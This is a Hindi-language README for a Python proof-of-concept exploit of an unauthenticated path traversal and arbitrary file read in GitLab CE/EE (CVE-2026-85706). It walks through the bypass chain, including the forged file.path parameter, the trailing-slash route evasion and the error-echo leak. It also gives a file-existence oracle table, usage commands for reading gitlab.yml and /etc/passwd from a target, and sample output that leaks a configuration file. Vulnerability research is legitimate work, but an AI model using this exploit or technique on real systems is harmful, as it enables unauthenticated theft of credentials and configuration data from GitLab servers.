
Python PoC जो CVE-2026-85706 का उपयोग करता है, जो GitLab CE/EE में create-commit endpoint के माध्यम से एक unauthenticated path traversal और arbitrary file read है, साथ में file-read oracle भी।
GitLab CE और EE में अनधिकृत पथ ट्रैवर्सल / मनमाना फ़ाइल पठन। CVSS 10.0. एक स्थानीय लैब में स्व-प्रबंधित 19.3.1 इंस्टेंस के विरुद्ध सत्यापित।
GitLab CE/EE:
पूर्व शर्त: इंस्टेंस में कम से कम एक सार्वजनिक प्रोजेक्ट हो। कोई भी वास्तविक प्रोजेक्ट id काम करता है। किसी खाते या टोकन की आवश्यकता नहीं।
create-commit एंडपॉइंट POST /api/v4/projects/:id/repository/commits
बड़े फ़ाइल बॉडी स्वीकार करता है, इसलिए Workhorse अनुरोध बॉडी को डिस्क पर बफ़र करता है और
Rails द्वारा वापस पढ़ने के लिए file.path / file.size मेटाडेटा इंजेक्ट करता है। चार
गलतियाँ एक साथ मिलती हैं:
require_gitlab_workhorse! की जाँच करता है। वास्तविक
authenticate! authorize_push_to_branch! के पीछे बैठता है, जो फ़ाइल पढ़ने के बाद चलता है।file_params_from_body_upload file.path और file.size को सीधे
अनुरोध पैरामीटर से लेता है, इसलिए File.read(file_path) आपके द्वारा दिए गए किसी भी निरपेक्ष
पथ का अनुसरण करता है।.../repository/commits\z से मेल खाता है।
अंत में एक ट्रेलिंग स्लैश जोड़ने पर वह रूट छूट जाता है और साइन किए गए
रिवर्स प्रॉक्सी पर चला जाता है, जो मान्य JWT के साथ कच्ची बॉडी अग्रेषित करता है। Workhorse
जाँच पास हो जाती है, Grape स्लैश को सामान्य कर देता है, और जाली पैरामीटर बच जाते हैं।Content-Type: application/x-www-form-urlencoded के साथ फ़ाइल सामग्री
Rack::Utils.parse_nested_query द्वारा पार्स की जाती है। एक अवैध % अनुक्रम
ArgumentError: invalid %-encoding (<component>) उठाता है और 400 प्रतिक्रिया उस घटक को
शब्दशः प्रतिध्वनित कर देती है।पठन git उपयोगकर्ता के रूप में चलता है। सामग्री तभी वापस आती है जब फ़ाइल में
एक अवैध % अनुक्रम हो; अन्यथा आपको फिर भी एक स्पष्ट अस्तित्व और
पठनीयता ओरेकल मिलता है:
| प्रतिक्रिया | अर्थ |
|---|---|
400 local file not present | फ़ाइल मौजूद नहीं है |
500 | मौजूद है, git द्वारा पठनीय नहीं |
401 | मौजूद है और पठनीय है, कोई अवैध % नहीं, कुछ भी प्रतिध्वनित नहीं |
400 invalid %-encoding (...) | पठनीय है, घटक प्रतिध्वनित |
डिफ़ॉल्ट omnibus इंस्टॉल पर विश्वसनीय रूप से प्रतिध्वनित होने वाली फ़ाइलें: gitlab.yml (हेडर
टिप्पणी जल्दी 95% से टकराती है), CI जॉब लॉग और आर्टिफैक्ट्स, अपलोड किए गए अटैचमेंट,
और बाहरी डेटाबेस वाले डिप्लॉयमेंट पर database.yml।
python3 exploit.py -t http://target:8080 # reads gitlab.yml
python3 exploit.py -t http://target:8080 -f /etc/passwd
python3 exploit.py -t http://target:8080 -p 3 -o out.txt
कोई निर्भरता नहीं, केवल stdlib।
docker में gitlab-ce 19.3.1 के विरुद्ध, शून्य क्रेडेंशियल:
$ python3 exploit.py -t http://127.0.0.1:8929
[*] HTTP 400 | leaked
[+] leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
=========================
## GitLab settings
gitlab:
## Web server settings (note: host is the FQDN, do not include http://)
host: localhost
port: 8929
https: false
...
------------------------------------------------------------
उसी रन से ओरेकल स्पॉट चेक:
/etc/passwd -> 401 (readable, no echo)
/etc/shadow -> 500 (exists, permission denied)
/etc/nonexistent -> 400 local file not present
केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान के लिए। उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है।